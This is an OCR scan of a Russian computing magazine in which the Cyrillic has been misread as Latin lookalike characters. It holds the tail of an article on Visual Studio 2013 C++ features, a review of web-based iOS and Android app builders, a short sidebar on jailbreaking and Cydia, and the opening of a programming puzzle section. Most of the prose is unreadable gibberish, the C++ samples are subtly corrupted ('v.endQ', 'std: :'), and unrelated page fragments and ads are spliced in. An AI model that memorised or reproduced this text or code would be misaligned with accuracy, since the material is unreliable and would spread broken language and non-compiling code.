void write(T t) { } 

}J 

template <typename T> class Dog { 

public : 

void write (T t) { } 

U 

template <typename T, typename U = Cat<T>> void talk(T t) { 

U u; 

u .write(t) ; 



} 

B Ta6^nu,e noi<a3aHbi noflpa3yivieBaeMbie Tunbi a/ih k3>kaom ctpokm KOfla b npwviepe. 
MCnOJlb30BAHME flCEBAOHMMOB LUAEJIOHOB 

Visual Studio 2013 noAAepxwBaeT nceBAOHMMbi Lua6jiOHOB, nosBormiomne 3aA3Ba~rb mnb- 
ko Heo6xoflMMbie apryivieHTbi. Hanpniviep, cneAyiOLu.He ctpokm onpeAe/miOT ncGBflOHMM 
StringTuple a/ih Lua6/iOHa tuple c nepBbiM napaMeTpoM, 3aA3-HHbiM KaK string: 

#include <string> 
#include <tuple> 

using namespace std; 
templa te<typename T> 
using StringTuple = tuple<string, T>; 

StringTuple — sto uia6.noH, h ero moxho ncno/ib30BaTb (KaK noKa3aHO Huxe) fl/ia o6"b^B/ie- 
Hnq StringTuple <double>. riceBAOHMMbi Lua6.noHOB no3BO/ifliOT HaM ynpocTMTb koa- 

Strin gT u p l e<double> strDoubleTuple; 

MCnOJ1b30BAHME nP03PAHHblX OnEPATOPOB-OYHKTOPOB 

Visual Studio 2013 Bee euue He pea/iM3yeT nonHOCTbio Bee bo3mo>khoctm ISO C++11, TO/ibKO Te, 
KOTopbie KOMaHAa Visual Studio cnmaeT Hai/i6onee no/ie3HbiMM pa3pa6oTHHKOB (hto o6"b- 
HCi-meT, noneiviy Visual Studio 2013 Hana/ia Ao6aBJiflTb HeKOTopbie bo3mo>khocth CTaHAapTHOM 
6n6/inoTeKn ISO C++14, Aa>«<e HecMOTpa Ha Heno/iHoe cooTBeTCTBi/ie CTaHAapiy ISO C++11 ). 
Visual Studio 2013 BK/nonaeT noAAepxKy npo3pawHbix cJ)yHKTopoB-onepaTopoB CTaHAapT- 

HOM 6n6^MOTeKM ISO C++14. 

ripo3paHHbie cf)yHKTopbi-onepaTopbi oneHb nojie3Hbi a/i* ynpomeHnq koas- K npniviepy, 
Mbi MoxeM ncno/ib30BaTb std::less<>, std::less_equal<>, std::greater<> \aiua std::greater_ 
equalo, HTo6bi Bbi3BaTb ct>yHKu,nio std::sort, u HaM He HaAO 6yAeT co3AaBa~rb co6cTBeH- 
HbiM cJ)vhktop, 4>yHKu,MK) v\j\\A s\9\m6r)/ . CneAytoiMne ctpokm coAepxaT npocTOM npuMep, rAe 
std::sort ncnonb3yeTCfl Ana coptmpobkm std::vector<int> c 20 3/ieivieHTaMi/i int, otcoptmpo- 
BaHHbie a/ieivieHTbi BeKTOpa 6yAyT 3aTeM OTo6pa>KeHbi b kohcojih. 

#include "stdafx.h" 
#include <iostream> 
#include <algorithm>_ 
#include <vector> 
#include <functional> 
using namespace std; 

int _tmain(int argc, _TCHAR* argv[]) { 

std: :vector< int> v = { 75000, 2200, 16500, 80, 3400, 400, 180, 18000, 270,- 
90, 4, 13000, 2400, 40, 30, 20, 6600, 70, 18700, 4550 }; 
std: :sort(v.begin(), v.endQ, std : :greater<>( ) ) ; 
std::cout << "Sorted vector elements : \n"; 
for (auto it = v.cbeginQ; it != v.cend(); ++it) 
Q-fH ' • rniit << << '\n'r 



std : : cout << '\n'; 

return 0; 

} 

Bbi30B std::sort ncno/ib3yeT cJ)yHKTop std::greater<> fl/ia onepaTopa >, BK/iioHGHHbiM 
b <functional> KaK tpgtmm apryivieHT. CneAyioinaa CTpOKa noKa3biBaeT npocTofi a^h noHM- 
MaHkm Bbi30B std::sort. HaM He HyxHO nmaTb koa b r\9\M6p,e, ct>yHKu,nn mii/i cfjyHKTope, HTo6bi 
y3HaTb, mto sort 6yAeT noMemaTb 66jibLune 3HaneHHfl nepBbiMu. 

std : : sort(v. begin( ) , v.end(), std: : greater <>()) ; 

ripn 3anycKe npMMepa b kohcojim Mbi yBMAUM Hi/icna, BbiBeAGHHbie b nop^AKe y6biBaHna. 

EcTb MHoro pa3/inHHbixcnoco6oB AOCTMHbToroxe pe3yjibTaTa. OAHaKO HOBbifi npo3paHHbifi 
cJ)yHKTop Ann onepaTopa > npeAOCTaB/meT Han6o/iee yHi/iBepca/ibHbiPi mgtoAj He Tpe6yKDLii,MM 
Aono/iHMTe/ibHoro KOAa v\ no3Bonn\ow,\Av\ HaM M3MeHMTb Tun BeKTOpa 6e3 BHeceHi/ia Aono/iHi/i- 
Te/ibHbix MOAnc^MKaunki. HanpuMep, eonn Mbi xotmm i/i3MeHi/n~b Tun BeKTopa c int Ha double, 
to HaM He Ha ao M3MeHHTb Bbi30B std::sort. Mbi MOxeM npoAO/ixaTb ncno/ib30BaTb tot xe 
cjDyHKTop &nn onepaTopa > (b HaiueM npwiviepe TpeTi/iM napaivieTp ocTaeTca std::greater<>()). 
C/ieAytou-iaa CTpOKa noKa3biBaeT M3MeHeHna Tuna BeKTopa v\ ero 3/ieMeHTOB c int Ha double. 
OcTa/ibHOM koa moxho ocTaBMTb TeM xe, m (J)yHKu,Mfi sort OTpa6oTaeT ycneiuHO. 

std: :vector<double> v = { 75000.3, 2200.9, 16500.1, 80.8, 
3400.4, 400.7, 180.2, 18000.5, 270.2, 90.6, 4.7, 13000.8, «-> 
2400 . 2 , 40.7, 30.9, 20.4, 6600 . 4, 70.3, 18700 .1, 45 50.7 } ; 

ApyroPi B03MO>KHbiM cnoco6 Bbi30Ba std::sort ajih std::vector<int> — sto wcnanb30BaHi/ie 
/iqM6Abi. C^eAyK)ni,aq CTpOKa ncno/ib3yeT/i?iM6Ay BMecTo std::greater<>() BKanecTBeTpeTb- 
ero apryMeHTa: 

std : : sort ( v . begin ( ) , v . end ( ) , [ ] ( int a, int b) { return <-> 

(a > b); }); 

Ec/im Mbi noMeHaeM Tun BeKTopa c int Ha double, to npimeTCfl noMeHBTb m KOA-n*M6Abi. KTOMy xe 
npoiAe npoHMTaTb koa c std::greater<>(). KoHenHO, Mbi MOxeM co3AaTb co6cTBeHHbiki i_ua6.noH- 
HbiPi 4>yHKTop m no^ynnTb Bee Te xe npenMymecTBa, hto m KorAa Mbi wcnonb3yeM CTaHAapTHbiPi 
4>yHKTOp fl/m onepaTopa >. TeM He MeHee, a cm/rraio, jiyHiue ncnonb30BaTb to, hto yxe BK/iiOHe- 
ho b CTaHAapTHbie 6n6jinoTeKM, HTo6bi He 6paTb Ha ce6a Aono/iHMTe/ibHyio HeHyxHyio pa6oTy. 

OYHKUMM CBEGIN()/CEND(), RBEGIN()/REND() II CRBEGIN()/CREND() 

B hobom BepcuM Visual Studio TaKxe noflBH/iwcb ei_u,e HeKOTopbie bo3moxhoctm CTaHAapT- 
hom 6n6nnoTeKM M3 CTaHAapTa C++14, HanpuMep cJ)yHKu,i/in std::cbegin()/std::cend(), 
std::rbegin()/std::rend() h std::crbegin()/std::crend(). 3tm cj)yHKu,ni/i Ae/iaiOT to xe caMoe, 
mto m qbyHKUMM-H/ieHbi KOHTeMHepoB cbegin( )/cend( ) , rbegin()/rend() n crbegin()/crend(), 
ho He HBrmiOTCfl H/ieHaMM. KcTaTM, noneMy-TO std::begin() m std::end() 6bmn yxe b npeAbiAy- 
meti BepcuM Visual Studio. 



3AKJH04EHME 

B crraTbe 9\ pacKpbma MHorne nojie3Hbie ynymueHHH Visual Studio 2013. Te6e o6fl3aTejibHO 
3axoHeTca BOcnojib30BaTbC« npenMyiu,ecTBaMM HeKOTOpbix M3 hl/ix, Korfla Tbi HaHHenib pa6o- 
TaTb c C++ npoGKTaMM b hobom Bepcun Visual Studio. JL 



Be6- KOflep 
b Miipe iOS 

0B30P BEB-I/IHCTPYMEHTOB 
fl/lfl PA3PAB0TKM nOfl IOS BE3 
3HAHHJ1 OBJECTIVE-C 



nocjie omywMTe/ibHoro ycnexa CTaTbi/i «Be6-KOflep 
b MMpe Android», no pe3y/ibTaTaM nySiii/iKaui/ii/i kotopom 
mn nonyni/ini/i peKopflHoe Koni/HecTBO nMceM (b 90% 
M3 hi/ix cnpaiu i/i Baji m, npaBAa jii/i, hto l/lpi/ma HepHO- 
Ba — fleByujKa, mjim oto on^Tb nceBflOHMM AHApefl 
MaTBeeBa. — ripi/iM. peA-)> r P ex 6bi/io He 3aAyMaTbc^ 
o npoAonxeHMM. B 3tov\ daTbe mn npi/iBeAGM o63op 
cepBMCOB, npeAHa3HaneHHbix a^i^ C03AaHM£ npnno- 
xGHi/ii/i noA onepau,MOHHyfo ci/iCTGMy iOS 6e3 3HaHM£ 
nporpaMMi/ipoBam/i?] Ha Objective-C, — ajih ncno;ib- 

30BaHI/1£ AOCTaTOHHO CTaHAapTHOTO HaSopa HaBblKOB 

Be6-pa3pa6oTHMKa. 

Hto xe oGteAHHfleT i/iHCTpyMGHTbi, KOTopbie mn 6yfleM ceMnac o6o3peBaTb? 
l/lx o6m,ne nepTbi: 

■■ B03MO>KHOCTb C03flaBaTb npHJ10>KeHHfl Ha OCHOBe Be6-CTpaHMU C nOMOHJ,bKD 

bctpoghhom cJ)yHKu,MM in-app 6pay3ep (jih6o nyTeM BCTaBKi/i HTML-KOAa 
BHyTpb npmioxeHkifl); 

■* co3AaHne Kpocc-n/iaTc|)opMeHHbix npmioxeHMM (a/ih iOS, Android h HTML5 
Be6-npn/io>KeHMM); 

■* xa^^BHbiM c^yHKUMOHa^ orpaHnneH, ho u,eHbi Ha full-version Bno/iHe npi/ieiwieMbi 
(no/iHOCTbio 6ecn/iaTHbix OH/iaMH-cepBMCOB, no3BO/miOLAnx co3AaBaTb npmioxe- 



Infinite Monkeys www.infinitemonkevs.mob 




C nepBbix niaroB no co3AaHi/iio npunoxeHi/iH nonb30BaTe/iKD cepBuca HeHaBH3Hn- 

BO AGMOHCTpupyeTCfl BMAOO, Ha KOTOPOM TeMnepaMeHTHafl, HO CKpOMHO OAOTa^ 
XeHLU,HHa 06"bflCHfleT, K3K nOJlb30BaTbCfl 3THM MHCTpVMeHTOM. B Hew HeT oco6om 

Heo6xoAHMOCTM, TaK KaK nm~epct>eMC npeAO/ibHO npocT m hgtko CTpyKTypupoBaH, 
HecMOTpq Ha LunpoHaMuiuM Ha6op pa3JWHHbix Ty/13 n HacTpoeK. YAo6HbiPi, Jiornn- 
Hbiw, 6bicTpbM m npeAOCTaB^qK)Lu,MM Heo6"bflTHbiPi npocTop A-n^ TBopnecTBa cepBuc 
Infinite Monkeys cpa3y npn3Hae~rcfl cJ)aBopmoM stom CTaTbn! 

CaMbiM r/iaBHbiPi n/iioc 3Toro cepBuca — 6onbiue no/iycoTHn (!) ct)yHKu,noHa/ib 
Hbix BMA>KeTOB, KOTopbie moxho nm~erpnpoBaTb b co3AaBaeMbiPi npoeKT. rioMn 
mo CTaHAapTHbix (BCTpoeHHoro 6pay3epa, PDF-Bbioepa, BMAeon/ieepa v\ npo 
nero), MOKHO OTbicKaTb BecbMa Heo6bNHbie BemnHKn: 




nHAHKa~rop noroAbi b HacTpai/iBaeMOM ropoAe (npOBepeHO Ha ropoAax Bop- 
KyTa, Ycuhck, MHTa — TeivinepaTypa B03Ayxa BepHaa, ho BpeMfl 3axoAa n boc- 
xoAa co/iHua hbho M3MepaeTca He b tom nacoBOM noace); 
KapTy, OTo6paxaK)LAyK) ycTpoMCTBa, Ha KOTopbix ycTaHOB/iGHO npmioxeHwe; 
KaTa^or (Aono/iHfleTCfl h M3MeHaeTCfl c noMOw,bio BCTpoeHHoro peAaKTopa); 

— KopaH, 5h6jimio, Topy; 

-■ BMA>KeT An« SoundCloud . 

EcTb B03MO>KHOCTb OTnpaBMTb ccbmKy Ha npn/ioxeHMe ce6e no SMS, ho Ha poc- 

CMMCKMM HOMGp HUHGTO He npMLU/IO; 

cepBuc AOdyneH Ha aochth fl3biKax, ho pyccKoro cpeAn hmx HeT. 

B 3aK/ifOHeHi/ie xoTe/iocb 6bi oTMeTMTb oahh HenpkmTHbiPi MOMeHT. CaMbie jiaKO- 
Mbie B03MOKHOCTM Infinite Monkeys AOCTynHbi TonbKO 3a AeHbrn. BKpa"ru,e npi/i- 
BeAeM mx ueHOByio no/iMTMKy: 

HTML5- m Android-npunoxeHwe co BCTpoeHHoPi peicnaMOM + ny6jinKau,Mfl 

b Mara3MHe MonkeyMarket — 6ecnjiaTHo; 

HTML5-, Android- n Apple-npunoxeHwe 6e3 peicnaMbi + ny6jiMKau,Mfl b oahh 
k/ihk b Google Play m Apple Store noA wvieHeM pa3pa6oTHMKa Monkey App — 
1 2 AO/i/iapoB b toa; 

B03MO>KHOCTb nOJiyMMTb MCXOAHbIM KOA npHJlOXeHMfl M nOJlHbM KOHTpOJlb HaA 

hum — eAHHOBpeivieHHbiM n/iaiex 199 AO/i/iapOB. 
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In-App Shopping 
Books & Reference Materials 
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Appmakr npeflocTaB/ifleT no/ib- 

30BaTe/lflM HeCKO/lbKO fleCflTKOB 
AH3a^HepCKMX ())yHKU,HOHa^bHblX 



Appery.io apperv.io 



3tot cepBuc Haw6o.nee i/iHTepeceH f\nn jikdaom, HMetomux onbiT nporpaMMnpoBa- 
hi/ih. Oh no3nu;MOHMpyeTCfl He KaK «CK.nenai/i ce6e npwioxeHi/ie 3a Tpi/i MMHyTbi», 



a KaK xocTMHr, npeAOCTaB/iflromnn nonHOu,eHHbie HHCTpyivieHTbi A-nfl pa3paooTHn- 
kob. no cvth, 3to 06/iaHHbiM PhoneGap, o6"beAnneHHbiPi c nepeAOBbiMM TexHO/iorn- 
9\m\a Mo6n/ibHOM Be6-pa3pa6o~rKn. 



JavaScript API u REST API; 

C03AaHne no^HOueHHbix 6a3 ashhnx ajih npmioxeHWfl; 
cepBepHoe JS-nporpaMMnpoBaHne; 
nporpaMMMpoBaHne BcnnbiBaK)Lu,Mx cooSlughmm; 
noAASpxKa SQLite; 
noAAepxKa Google Maps API; 

noAAepxKa jQuery + ocHOBam-ibie Ha HeM 6n6^noTeKM, co3AaHHbie Appery.io; 
noAAepxKa WebHooks; 

OT/ii/iHHbiM BM3ya/ibHbiM peAaicrop f\n9] npoeKTwpoBaHi/ifl MHTepcJ)GMca; 
oaho He6o/ibinoe (Tpi/i axpaHa) npmio>KeHi/ie moxho pa3MecTMTb i/i pacnpo- 
CTpaH^Tb 6e3 c|)MHaHCOBbix B/ioxeHMM (Free Plan BK/nonaeT b ce6a: 1 l~6 MecTa 
Ha AncKe h Mi/i/i/iMOH o6paiu,eHMM k API). 



HeT noAAepxKi/i PHP. 



BceM, kto co6npae~rcfl cepbe3HO 3aHm~bCH pa3pa6o~n<OM Mo6njibHbix npmioxe- 
h\a\a, peKOMeHAyK) 03HaKOMMTbCfl c AOKyMeHTau,neM k 3T0My cepBucy. B03MOX- 
ho, Tbi peniMLUb He i/icnonb30BaTb Appery.io b CBoeM npoeicre, ho noHepnHeiub 
MHoro nojie3Hbix 3HaHMM o noA^ope TexHonorwHecKHx peujeHMM a/ih Mo6mib- 
Horo KOAHHra. 



appery.io 
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Plugins 
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Libuiy 



Nome Text 



i-OVC 
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Description 



flM3aMH npMJIOMBHMM 

MaTepna/iOB o tom, iok AOJixHbi BbinrmAOTb npi/uioxGHMH p/\9\ iOS, b Cgtm 
oneHb MHoro. Pg ko m g h fly g m ncnojib30BaTb oc})t/mna.nbHbiM mctohhmk . 




WARNING 

Hukto He rapaHTupyeT coxpaHHOdb npi/i/ioKeHMM, KOTopbie tm pa3pa6oiaeiub c noMoiubio 
cepBMCOB, onucaHHbix b stow daTbe. Bee co3flaHHoe HenocmibHbiM TpyflOM mo)K6t (Teope- 
TMHecKn) pacnpocTpaHflTbca mjim 6e3B03BpaTH0 yAa/iflTbCfl 6e3 TBoero xe/iaHna. 



Mobile.conduit.com mobile.conduit.com 



06 3T0M CGpBMCG H6Jlb3fl 6bli10 HG HanMCaTb — OHGHb yx OH n0ny.Tmp6H. 06lH66 
HUCJIO nOJlb30BaTG/lGM BCGX 06jiaHHblX CGpBMCOB, npGAOCTaBJlflGMblX KOMnaHHGM 

Conduit, cocTaB/ifiGT 6ojigg 250 mmjuihohob. A Mn/inwoHbi (hg Myx ;)) hg MoryT olum- 
6aTbca: mobilG.conduit.com — KaHGCTBGHHaa, 4>yHKu,noHajibHafl h npGAe-nbHO npo- 
CTa« b ncno/ib30BaiHMM nnaT(J)opMa pnn co3AaHna Mo6n/ibHbix npunoxcHnfi. 



1/lHTGpGCHblG BCTpOGHHbIG BMAXGTbi: KapTa JlOBJlbHOCTM, KynOHbl, CnMCOK CnOH- 

copOB m ApyroG; 

HaCTpOMKa BHGLUHGrO BHfla JXnn yCTpOMCTB C pa3/ll/lHHblM pa3pGLUGHHGM (flflfl T6- 
J16<$>0H0B M n/iaHLUGTOB); 

totobog npn/ioxGHMG moxho ycTaHOBMTb Ha Kindle Fire (noMi/iMO iPhonc, iPad 
h Android). 



npn HGr/iy6oKOM paccMOTpGHMM cJ)yHKu,MOHa/i ycTynaGT KOHKypGHTaM jii/160 
CKpbiT ot noBGpxHOCTHoro BOcnpi/iflTkm; 

33 Aoruiapa b mgc^u, 3a HGorpaHMHCHHOC i/icnonb30BaHM6 co6cTBGHHoro npn- 

/10>KGHM51 H 83 AOJl/iapa B MGCflU, 3a HGOrpaHMHGHHOG HCnOJlb30BaHM6 C06CTBGH- 

Horo npnnoxGHMfi 6g3 bctpoghhoto /ioroTnna Conduit. 



B ugjiom mobilG.conduit.com hg hmggt apKnx ot/imhmm m npGHMyiAGCTB ncpGA 

KOHKypGHTaMM. Pa60Ta C 3THM CGpBMCOM HG Bbl3blBa6T BOCTOpra OT KpGaTHB- 
HOCTH GrO C03AaTGJIGM. Ho BCG, HTO pGa/lM30BaH0, — p6aJll/l30BaH0 Ha XOpOLUGM 
ypOBHG. 
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Apps for Your 
Event. 

• Keep attendees informed 

• Registration, agenda, speakers, and more 

• Fast b simple — try it free! 



Create App 




Start free 1 

Nc credit card required' 
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iBuild russia.ibuilda 


m 


.com 










KoMnam/ifl ocHOBaHa b KpeMHueBOM AO/iuHe b 2010 toay Pa<t>a3/ieivi Cy/uaHOBbiM 
n MpuHoPi Ky3HeuoBOM. B/iaroflapa pyccKOfl3biHHOMy pyKOBOACTBy iBuild aKTHBHO 
ocBanBaeT pbiHOK CHI" v\ nrvieeT npeACTaBi/iTe/ibCTBO b ropoAe B/iaAHMHpe. Korviy 
MHTepecHO, moxho noHMTaTb ny6nnKaiinn b pyccKOH npecce o hmx. A Tenepb o npaK- 
TunecKHx oco6eHHOCTflx cepBuca. 



Moxho C03AaBaTb npn/ioxeHna txnn iPhone, iPad, iPodTouch n ycTpoficTB 
Ha onepau,MOHHOM cucTeivie Android; 

pyccKOfl3bHHbiM nHTepcfjewc m ropHHaa /lMHMfl A-na xnTe/ieM PO; 

LUMpoKMM Bbi6op Lua6jiOHOB f\u\3a\AHa (Ha r/ia3 — HecKO/ibKO coTeH) Ha Bee cny- 

nan xm3hm; 

BHyiUMTeJlbHblM Ha6op BCTpOGHHblX MOAG/1GM M BMA>KGTOB; 

iBuildApp API a/ih Bi/iA>KeTOB b Mo6n/ibHbix npunoxeHUflx (ncnojib3yeTC^ npw ko- 
AHHre b iOS m Android SDK). 



CaMbiM 6ojibLuoM HeAQCTaTOK cepBuca — CTpeM/ieHwe BbupqcTM M3 nanb30- 



BcilfciJIH MaKUHMylvl CpUHdHUUb. rlcUl pdHUHcHHUc l/IUI lUJIbcJObctHUe UUUUIbfciHHU- 

ro npi/i/ioxGHMFi ctomt 33 000 py6/ieM b toa n-nn 2750 b Mecflu, (b 3aBncnMOCTM 
ot cxeMbi on/iaTbi). TaioKe npeAnaratOTCH Aono/iHMTe/ibHbie ycnyri/i — ny6/iMKa- 
Uhh b Apple Store, pa3pa6oTKa MOAy-nePi n nponee. 

CKopee Bcero, cepBuc CTaineT HermoxwM peuieHneM a/ia npeACTaBHTe/iew Ma- 
jioro m cpeAHero 6n3Heca, ho He a^h MHAn-KpeaTMBiu,nKOB. A/m noc/ieAHnx 

60/lbLUe nOAOMAyT OCTa/lbHbie MHCTpyMeHTbl \A3 3T0M CTaTbM. 



iBuild jAppj 



8(800)555-15-36 +7(495)212-92-19 rcwmowhoctm hfhw ho/vifdkka KATAnor 



iromok no Por.ciiit fiernnaTHhiii 




flEMO-BHflEO 



Co3AaM CBoe 

M06mibHOe 

npunoKeHne 
3a 5 MMHyi"! 

Pa3pa6oTaHO 6onee 699.863 npunoxeHMM 1 
JlerKO b Mcnonb30BaHMM - yAo6HWM MHTepcpewc 



Co3flaM npmio>KeHMe! 



A/ibTepHaTMBbi App Store 

5e3 B3/iOMa ct>aPmoBOki cucTeMbi ycipoPiCTBa CKannBaTb npunoxeHHH noA 
iOS moxho TonbKO M3 App Store. Ho ecTb B03MOXHOCTb ycoBepiueHCTBOBaTb 
noMCK npMnoxeHMM b o4)Muna^bHOM Mara3MHe. Arm 3Toro cymecTByeT npo- 
rpaMMa AppFlow. CpeAn Han6o/iee MHTepecHbix ee c^yHKLUiii cneAyeT OTMe- 

TUTb B03MO>KHOCTb nOCMOTpeTb CnMCOK npi/l/lOXeHMM, yCTaHOBJieHHblX APy3t>- 

HMH no^b30BaTe/i«. 

nocne A>KO^-n6peMKa (no/iyneHMe nojiHoro AOCTyna k cJ)aM/iOBOM cucTeivie 
ycTpoMCTBa) moxho ncno^b30BaTb npmioxeHi/ie Cydia, KOTopoe no3BO.rm- 
eT CKanMBaTb nporpaMMbi M3 He.nera.nbHbix peno3MTopneB. MHorne M3 hmx 
npeACTaB/i?iK)T co6om 6ecnnaTHbie aHa/iorn rmaTHbix nrp H3 App Store. TaioKe 
nepe3 Cydia Store moxho noKynaTb m npoAaBaTb npmioxeHMH. 



Oco6eHHOCTM MOflepauMii App Store 

YpoBeHb KOHTpo/ifl 3a KanecTBOM KOHTeHTa, npeA- 
CTaB/iGHHoro b 3tom Mara3MHe npunoxeHUM, BbicoK, 
KaK hm b oahom ApyroM MapKeTe. Bot nacTb Kpmepn- 
eB, KOTopbiM AO^xeH cooTBeTCTBOBaTb ny6jiMKyeivibM 
npoeKT: 

• AO^XHbl OTCyTCTBOBaTb CKpblTbie MJ1M HeAOKyMCH- 

TwpoBaHHbie 4>yHKi4nn; 

• c|)yHKij,MOHaji AO/ixeH 6biTb yHi/iKajibHbiM, no^e3HbiM 

1/1 HeTKO COOTBeTCTBOBaTb oni/icaHi/ito; 

npujioxeHwe He ao/ixho OTo6paxaTb HeBepHO A^a- 
rHOCTMpyeivibie AaHHbie 06 ycTpoficTBe; 

• npi/uioxeHi/ie A-na iPhone aoji>kho HenpeMeHHO pa- 
6oTaTb noA iPad; 

k ny6jiMKau,MM AonycKaiOTCfl TonbKO KOHenHbie Bep- 
cmh npn/ioxeHMM (trial mjim beta He npoxoA^T). 

Bcero cymecTByeT HecKO/ibKO agc^tkob Tpe6oBaHMM. 
rio/iHbiM cnncoK AOCTyneH no ccbi/iKe . 




WWW 



CepBMCbl AJlfl C03AaHMfl 

Android/Apple-npwio- 
xeHMM, He BoiueAiiine 
b CTaTbio: 

SeattleClouds 

AppBreeder 

MyAppBuilder 

Mobile Roadie 



MobileAppLoader mobileapploader.com 



KoMnaHMfi ocHOBaHa b KpeMHueBOM AO/iuHe b Hana/ie oceHM 2008-ro (Android 
Market noflBi/i/icfl 22 0KTfl6pa, App Store — 1 1 uto/ia Toro xe roAa). Ochobhom cbo- 
e\A MuccnePi cfwpMa cnmaeT npeAOCTaBJieHne K/ineHTaM-6n3HecivieHaM pacLUM- 
peHHblX B03M0XH0CTeM unn CBH3H c noTpe6nTenflMM. 

BcTpoeHHbiM saT a^^ o6iu,eHM5i c no/ib30BaTe^3MM (customer chat); 
ompaBKa K)3epy Bcn/ibiBaioini/ix cooGmeHMPi, KorAa oh HaxoAHTca b onpeAe/ieH- 
hom reo/iOKau,MM (AonycTHM, i/iAeT we/iOBeK mi/imo TBoeti na/iaTKM c He6ypeKaMM, 
a Tbi eMy pa3 — n KynoH Ha CKHAKy :)); 

BCTpoeHHaa cJ)yHKu,nq Ao6aB/ieHnq TenecJ)OHHoro HOMepa KOMnaHMM b cnwcoK 
KOHTaKTOB nanb30BaTenfl ; 
KpeAHTHbiPi Ka/ibKy/i^Top; 

Parking Marker — 3anoMHHaHne BpeivieHH h MecTa noaneAHew napKOBKH; 
AOCTynHO C03AaHne npmioxeHHH A-na iPad. 



Trial-BepcMM HeT; 



MHHMMa/ibHbiM rmaTex ajih Hana/ia nanb30BaHMfl cepBMCOM — 249 AO/uiapoB 
(n/iK)c 10,99 exeMecflHHO). 



K coxa/ieHMK), n Mory cyAHTb 06 stom cepBuce MCKJuoHi/rrejibHO no onncaHMio, 
nocKO/ibKy flBe c /imluhmm cothm AO/i/iapoB mribKO A-na Toro, HTo6bi c hum 03- 

HaKOMMTbCJI, — 3T0 CJ1MLUKOM. OAHaKO 3aflBJieHHblM Cj)yHKI4MOHa/l BeCbMa HH- 

TepeceH. M a^h HMTaTe/iew, BJiaAeiOLunx oc|)JiaftH-6i/i3HecaMi/i, 6yAeT Han6o/iee 

npGAnOHTMTe/lbHblM BapnaHTOM. 



Learn More 


Pricing 


App Gallery 


GET STARTED Customer Stories Resellers 


My Apps 













> Categories 



Select Your Business Category (select "Multi Purpose" if your category is not listed below) 
Featured 




Automotive 




Accounting 



Institution 




Towing Services 




Real Estate 



Athlete 



Legal Practice 



Tutoring 



Hair Salon 



Coaching 




Medical Clinic 



Video 



Small Business 




Contractor 




Restaurant 




Multi Purpose 



Education 




Services 



SwebApps www.swebapps.CQm 



CepBuc ot mojioaom TexaccKOM KOMnaHMM Sweb Development, KOTopaa 3aHMMaeT- 

C9\ pa3pa60TKOM CaMTOB M npM/IO>KeHMM A/l^ M06M^bHblXyCTpOMCTB. 



BecbMa APy>KecTBeHHafl no.nb30BaTe.nio CMdeMa noflCKa30K (npwviep: npn C03- 
AaHMM KHonKn Be6-caPiTa noacHfleTCfl, hto TaKoe URL i/i rAe ero B3HTb :)); 
pacLunpeHHbie bo3moxhoctm no pa6oie c (J)opMaMn; 

HTML-koa moxho BCTaB/uiTb HanpjiMyio, a He mnbKO b bmag Be6-CTpaHnu,bi 
Ha CTopoHHeM caMTe. 



npeBbKD oneHb cmibHO topmo3mt; 

Bbl6op CTM/1GM M KOHTeHT-BMA>KeTOB KpaMHG CKyA©H nO CpaBHGHHK) C APYrHMM 

cepBucaMn; 

ueHa 3a wcnanb30BaHH6 cepBuca hbho 3aBbiLueHa. 

AaHHbiM cepBuc npuMenaTe/ieH pa3Be hto cbommm MapKeTMHroBbiMM, ec/in sto 

MOKHO TaK Ha3BaTb, pGLUGHM^MM — HepeCHyp OrpaHUHeHHbie B03MO>KHOCTM 

cepBMca no 3aBbnueHHOM u,eHe HaBOA^T Ha Mbic/ib 0TKa3aTbCfl ot MAen co3AaTb 
npi/moxeHi/ie caMOMy m o6paTHTbca k npoc^eccnoHa/iaM (4>opMa 3aKa3a yc- 
nyr nporpaMMMCTa i/i AH3aPmepa HaxoAHTca noA pyKofi Ha Bcex 3Tanax pa6oTbi 

c CepBMCOM). 



swebapps 



xakepexample 



Select Styles 



> 

Next 




■ HeflocTaTKii npn/iomeHMM, co3AdHHbix 
m c noivioiubio OHJiaiiH-n/iaT(|)opM 



B HeM npei/iMym,ecTBa npwioxeHi/ii/i, co3A3HHbix c noMombK) Android SDK 
m iOS SDK, nepeA npmioxeHMHMi/i, co3AaHHbiMH c noMombfo oni/icaHHbix i/ih- 

CTpyMeHTOB? 

HaAexHocrb (pa6oTa 6e3 c6oeB). A-n^ pea/iM3au,MM AanHoro npewviy- 
lAGCTBa k oc^nuna^bHoPi cpeAe pa3pa6oTKM AO/ixeH npmiaraTbca KOAep 
c npjiMbiMM pyKaMM v\ HaBbiKaivM TecTMpoBaHMq; 

• CKopocTb. Pa3Hnu,a CTaHOBi/iTCfl 3aMeTHa To^bKO npn BbicoKOM Harpy3Ke 
b cnoxHbix npwioxeHHflx. OrmTb xe xopoiuMM JS-nporpaMMMCT Bbii/irpaeT 
y Ha L MHaiOLu,ero Java-m/icaie/ia; 

• onTMMM3au,Ma ncno^b30BaHna pecypcoB ycrrpoMCTBa m orpam/iHGHHbiM ao- 
CTyn k annapaTHOM sac™. Rnn 95% npou,eHTOB npunoxeHi/ifi oto HeBaxHO. 
ore. TaKxe nepe3 Cydia Store moxho noKynaTb h npoAaBaTb npi/i/ioxeHHfl. 



3AKJHOHEHME 

B 3aK/iioHeHne asm peKOMeHAau.nn, KaK Bbi6npaTb cepBMCbi, 
A/ifl pa3/inHHbix KaTeropwM wiajenew. 




ecnw Tbi He nporpaM- 
mi/ict h He B/iaAe/ieu, 6n3- 
Heca — o6pa~m BHi/iMa- 
Hi/ie Ha Infinite Monkeys 




nporpaMMMCTaM 
6onbLue noAO^AeT 
Appery.io 




6n3HecivieHaM — 
MobileAppLoader 
m iBuild 



KoflMHr 




AiieKCaHAP J1030BCKMM 

lozovsky@glc.ru 

3A A AH II HA 

C05ECEflOBAHI/mX 



CnEU,l/IAJlbHbll/l BbinyCK: 

3AAAHI1 Aid CMCAAMMHOB 

CeroAH^ b HaujGi/i py6pi/iKG Bonpocbi ot ServerClub — 
BbiAe/ieHHoro xocTi/mra c n/ioLuaAKaMi/i 
b CLUA 1/1 EBpone. Hac/iaxAai/ica BonpocaMi/i 
j\m ci/iCTGMHbix aAMMHi/iCTpaTOpOB, pGiuai/i 3aA3Hl/l, 
a caMOMy aKTi/iBHOMy h htbtg ji kd - p g lu bjqj] \o TOBapi/imM 
M3 SGrvGrClub oSemaiOT npi/13. floGxajiM! 



OTBETbl HA 3 AA AH H 113 nPOUJJIOrO HOMEPA 
OT KOMflAHMM REDWERK 



Android & iOS 

3AAAHA 1 

Hto BbiBeAeTca Ha 3KpaH? 

int main(int argc, char const *argv[]) 

{ 

